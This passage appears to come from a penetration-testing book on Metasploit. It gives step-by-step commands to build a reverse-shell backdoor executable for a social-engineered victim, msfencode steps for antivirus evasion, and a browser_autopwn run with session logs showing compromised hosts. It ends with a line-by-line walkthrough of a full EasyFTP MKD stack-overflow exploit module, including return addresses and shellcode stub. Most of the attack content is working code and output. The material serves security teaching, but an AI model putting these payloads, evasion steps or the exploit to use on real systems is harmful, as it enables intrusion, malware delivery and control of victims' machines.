Using a tool named `msfpayload`, we can generate an independent backdoor executable file that can deliver a selected Metasploit payload service instantly. This is truly useful in situations where social engineering your target is the only choice. In this example, we will generate a reverse shell payload executable file and send it over to our target for execution. The `msfpayload` tool also provides a variety of output options such as Perl, C, Raw, Ruby, JavaScript, Exe, DLL, and VBA.

To start `msfpayload`, execute the following command on your shell:

```
# msfpayload -h
```

This will display the usage instructions and all available framework payloads. The command parameter convention is similar to that of MSFCLI. Let us generate our custom binary with a reverse shell payload:

```
# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O
...
# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X >
/tmp/poker.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
 Length: 314
Options: LHOST=192.168.0.3,LPORT=33333
```

So, we have finally generated our backdoor executable file. Before sending it over to your victim or target, you must launch a `multi/handler` stub from MSFConsole to handle the payload execution outside the framework. We will configure the same options as done with `msfpayload` :

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(handler) > show options
...
msf exploit(handler) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(handler) > set LPORT 33333
LPORT => 33333
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.3:33333
[*] Starting the payload handler...
```

At this point, we have sent our windows executable file to the victim via a social engineering trick and will wait for its execution.

```
[*] Command shell session 2 opened (192.168.0.3:33333 -> 192.168.0.7:1053)
at Wed Nov 17 04:39:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\salesdept\Desktop>
```

In the preceding snippet, you can see that we have a reverse shell access to the victim machine and have practically accomplished our mission.

Tip

How does Metasploit assist in antivirus evasion?

This is just one example of the many different methods of bypassing or evading an antivirus. Using a tool named `msfencode` located at `/usr/bin/msfencode` , we can generate a self-protected executable file with the encoded payload. This should go parallel with the `msfpayload` file generation process. A raw output from `msfpayload` will be piped into `msfencode` to use a specific encoding technique before outputting the final binary. For instance, execute `msfpayload windows/shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe > /tmp/tictoe.exe` to generate the encoded version of a reverse shell executable file. We strongly suggest that you use the *stager* payloads instead of the *inline* payloads as they have a greater probability of success in bypassing major malware defenses due to their indefinite code signatures.

Automated browser exploitation

There are situations where you cannot find the clue for exploiting the secure corporate network. In such cases, targeting the employees with electronic or human-assisted social engineering is the only way out. For the purpose of our exercise, we will demonstrate one of the client-side exploitation modules from the Metasploit framework that should support our motive towards a technology-based social engineering attack. **Browser autopwn** is an advanced auxiliary, which performs web browser fingerprinting against the target visiting our malicious URL. Based on the results, it automatically chooses a browser-specific exploit from the framework and executes it as follows:

```
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options
...
msf auxiliary(browser_autopwn) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf auxiliary(browser_autopwn) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3
SRVHOST => 192.168.0.3
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed

[*] Starting exploit modules on host 192.168.0.3...
[*] ---

[*] Starting exploit multi/browser/firefox_escape_retval with payload
generic/shell_reverse_tcp
[*] Using URL: http://192.168.0.3:80/Eem9cKUlFvW
[*] Server started.
[*] Starting exploit multi/browser/java_calendar_deserialize with payload
java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/s98jmOiOtmv4
[*] Server started.
[*] Starting exploit multi/browser/java_trusted_chain with payload
java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/6BkY9uM23b
[*] Server started.
[*] Starting exploit multi/browser/mozilla_compareto with payload
generic/shell_reverse_tcp
[*] Using URL: http://192.168.0.3:80/UZOI7Y
[*] Server started.
[*] Starting exploit multi/browser/mozilla_navigatorjava with payload
generic/shell_reverse_tcp
[*] Using URL: http://192.168.0.3:80/jRwlT67KIK6gJE
...
[*] Starting exploit windows/browser/ie_createobject with payload
windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/Xb9Cop7VadNu
[*] Server started.
[*] Starting exploit windows/browser/ms03_020_ie_objecttype with payload
windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/rkd0X4Xb
[*] Server started.
...
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
```

```
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.0.3:3333
[*] Starting the payload handler...
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.0.3:6666
[*] Starting the payload handler...
[*] Started reverse handler on 192.168.0.3:7777
[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://192.168.0.3:80/
[*] Server started.
```

Now as soon as our victim visits the malicious URL (`http://192.168.0.3`), his or her browser will be detected and the exploitation process will be accomplished accordingly. We can penetrate our target through the client-side exploitation method using the following commands:

```
[*] Request '/' from 192.168.0.7:1046
[*] Request '/' from 192.168.0.7:1046
[*] Request
'/?sessid=V2luZG93czpYUDpTUDI6ZW4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo%3d' from
192.168.0.7:1046
[*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;SP2:
[*] Responding with exploits
[*] Handling request from 192.168.0.7:1060...
[*] Payload will be a Java reverse shell to 192.168.0.3:7777 from
192.168.0.7...
[*] Generated jar to drop (4447 bytes).
[*] Handling request from 192.168.0.7:1061...
...
[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML
to 192.168.0.7:1068...
[*] Request '/' from 192.168.0.7:1069
[*] Request '/' from 192.168.0.7:1068
[*] Request '/' from 192.168.0.7:1069
[*] Sending EXE payload to 192.168.0.7:1068...
[*] Sending stage (749056 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:3333 -> 192.168.0.7:1072) at
Thu Nov 18 02:24:00 +0000 2010
[*] Session ID 1 (192.168.0.3:3333 -> 192.168.0.7:1072) processing
InitialAutoRunScript 'migrate -f'
[*] Current server process: hzWWoLvjDsKujSAsBVykMTiupUh.exe (4052)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2788
[*] New server process: notepad.exe (2788)
...
msf auxiliary(browser_autopwn) > sessions
Active sessions
===============

  Id  Type                   Information
```

```
Connection
  --  ----                  -----------
----------
  1   meterpreter x86/win32  CUSTDESK\Momin Desktop @ CUSTDESK (ADMIN)
192.168.0.3:3333 -> 192.168.0.7:1072
msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: CUSTDESK\Momin Desktop
```

As you can see in the preceding command snippet, we have successfully penetrated our target through the client-side exploitation method. Note that these web browser exploits may only work with specific vulnerable versions of different browsers (Internet Explorer, Firefox, Opera, and so on).

Writing exploit modules

Developing an exploit is one of the most interesting aspects of the Metasploit framework. In this section, we will briefly discuss the core issues surrounding the development of an exploit and explain its key skeleton by taking a live example from the existing framework's database. However, it is important to hold competent knowledge of the Ruby programming language before you attempt to write your own exploit module. On the other hand, intermediate skills of reverse engineering and the practical understanding of vulnerability discovery tools (for example, fuzzers and debuggers) provide an open map towards the exploit construction. This section is meant only as an introduction to the topic and not a complete guide.

For our example, we have selected the exploit (`EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow`), which will provide a basic view of exploiting buffer overflow vulnerability in the Easy FTP Server application. You can port this module for a similar vulnerability found in other FTP server applications and thus, utilize your time effectively. The exploit code is located at `/usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb` .

```
##
# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
##
```

The preceding code is a basic header representing a filename, a revision number, and the date and time values of an exploit.

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
```

The MSF core library requires an initialization at the beginning of an exploit:

```
class Metasploit3 < Msf::Exploit::Remote
```

In the preceding code, the `Exploit` mixin/class is the one that provides various options and methods for the remote TCP connections such as `RHOST` , `RPORT` , `Connect()` , `Disconnect()` , and `SSL()` .

```
  Rank = GreatRanking
```

The preceding code is the rank level assigned to the exploit on the basis of its frequent demand and usage.

```
  include Msf::Exploit::Remote::Ftp
```

In the preceding code, the `Ftp` mixin/class establishes a connection with the FTP server.

```
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack
```

```
Buffer Overflow',
      'Description'    => %q{
         This module exploits a stack-based buffer overflow in EasyFTP
Server 1.7.0.11
        and earlier. EasyFTP fails to check input size when parsing 'MKD'
commands, which
        leads to a stack based buffer overflow.

        NOTE: EasyFTP allows anonymous access by default. However, in
order to access the
        'MKD' command, you must have access to an account that can create
directories.

        After version 1.7.0.12, this package was renamed "UplusFtp".

        This exploit utilizes a small piece of code that I've referred to
as 'fixRet'.
        This code allows us to inject of payload of ~500 bytes into a 264
byte buffer by
        'fixing' the return address post-exploitation.  See references for
more information.
      },
      'Author'         =>
        [
          'x90c',   # original version
          'jduck'   # port to metasploit / modified to use fix-up stub
(works with bigger payloads)
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 9935 $',
      'References'     =>
        [
          [ 'OSVDB', '62134' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/12044/' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14399/' ]
        ],
```

The preceding code provides generic information about the exploit and points to known references.

```
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
```

The preceding code instructs the payload to clean up itself once the execution process is completed.

```
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00\x0a\x0d\x2f\x5c",
          'DisableNops' => true
```

```
        },
```

The preceding code snippet defines 512 bytes of space available for the shellcode, lists bad characters that should terminate our payload delivery, and disables the NOP padding.

```
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Windows Universal - v1.7.0.2',   { 'Ret' => 0x004041ec } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.3',   { 'Ret' => 0x004041ec } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.4',   { 'Ret' => 0x004041dc } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.5',   { 'Ret' => 0x004041a1 } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.6',   { 'Ret' => 0x004041a1 } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.7',   { 'Ret' => 0x004041a1 } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.8',   { 'Ret' => 0x00404481 } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.9',   { 'Ret' => 0x00404441 } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.10',  { 'Ret' => 0x00404411 } ], #
call ebp - from ftpbasicsvr.exe
            [ 'Windows Universal - v1.7.0.11',  { 'Ret' => 0x00404411 } ], #
call ebp - from ftpbasicsvr.exe
          ],
        'DisclosureDate' => 'Apr 04 2010',
        'DefaultTarget' => 0))
```

The preceding code snippet provides instructions on what platform is being targeted and defines the vulnerable targets (`0` to `9`) that list the different versions of Easy FTP Server (`1.7.0.2` to `1.7.0.11`), each representing a unique return address based on the application binary (`ftpbasicsvr.exe`). Furthermore, the exploit disclosure date was added and the default target was set to `0` (`v1.7.0.2`).

```
    end

    def check
      connect
      disconnect

      if (banner =~ /BigFoolCat/)
        return Exploit::CheckCode::Vulnerable
      end
        return Exploit::CheckCode::Safe
    end
```

In the preceding code, the `check()` function determines whether the target is vulnerable.

```
    def make_nops(num); "C" * num; end
```

The preceding code defines a function that generates NOP sleds to aid with IDS/IPS/AV evasion. Some consider NOP sleds to be a quick and dirty solution to

this problem and that they should not be used unless there is a particularly good reason. For simplicity, during this example of writing a module, we have left the function in the code.

```
  def exploit
    connect_login

    # NOTE:
    # This exploit jumps to ebp, which happens to point at a partial
version of
    # the 'buf' string in memory. The fixRet below fixes up the code
stored on the
    # stack and then jumps there to execute the payload. The value in esp
is used
    # with an offset for the fixup.
    fixRet_asm = %q{
      mov edi,esp
      sub edi, 0xfffffe10
      mov [edi], 0xfeedfed5
      add edi, 0xffffff14
      jmp edi
    }
    fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new,
fixRet_asm).encode_string

    buf = ''
```

The preceding procedure fixes a return address from where the payload can be executed. Technically, it resolves the issue of stack addressing.

```
    print_status("Prepending fixRet...")
    buf << fixRet
    buf << make_nops(0x20 - buf.length)
```

Initially, the exploit buffer holds the encoded return address and the randomized NOP instructions.

```
    print_status("Adding the payload...")
    buf << payload.encoded
```

The preceding code adds a dynamically generated shellcode to our exploit at runtime.

```
    # Patch the original stack data into the fixer stub
    buf[10, 4] = buf[268, 4]

    print_status("Overwriting part of the payload with target address...")
    buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes
```

The preceding code fixes the stack data and makes a short jump over the return address holding our shellcode buffer.

```
    print_status("Sending exploit buffer...")
    send_cmd( ['MKD', buf] , false)
```

At the end, using the preceding code, we send our finalized buffer to the specific target using the vulnerable `MKD` FTP post-authentication command. Since the `MKD` command in the Easy FTP server is vulnerable to stack-based buffer overflow, the command `buf` will overflow the target stack and exploit the target system by executing our payload. Close your connections using the following code:

```
    handler
```

```
        disconnect
      end

    end
```

Note

Metasploit is equipped with useful tools such as `msfpescan` for Win32 and `msfelfscan` for Linux systems that may assist you in finding a target-specific return address. For instance, to find a sustainable return address from your chosen application file, type `# msfpescan -p targetapp.ext` .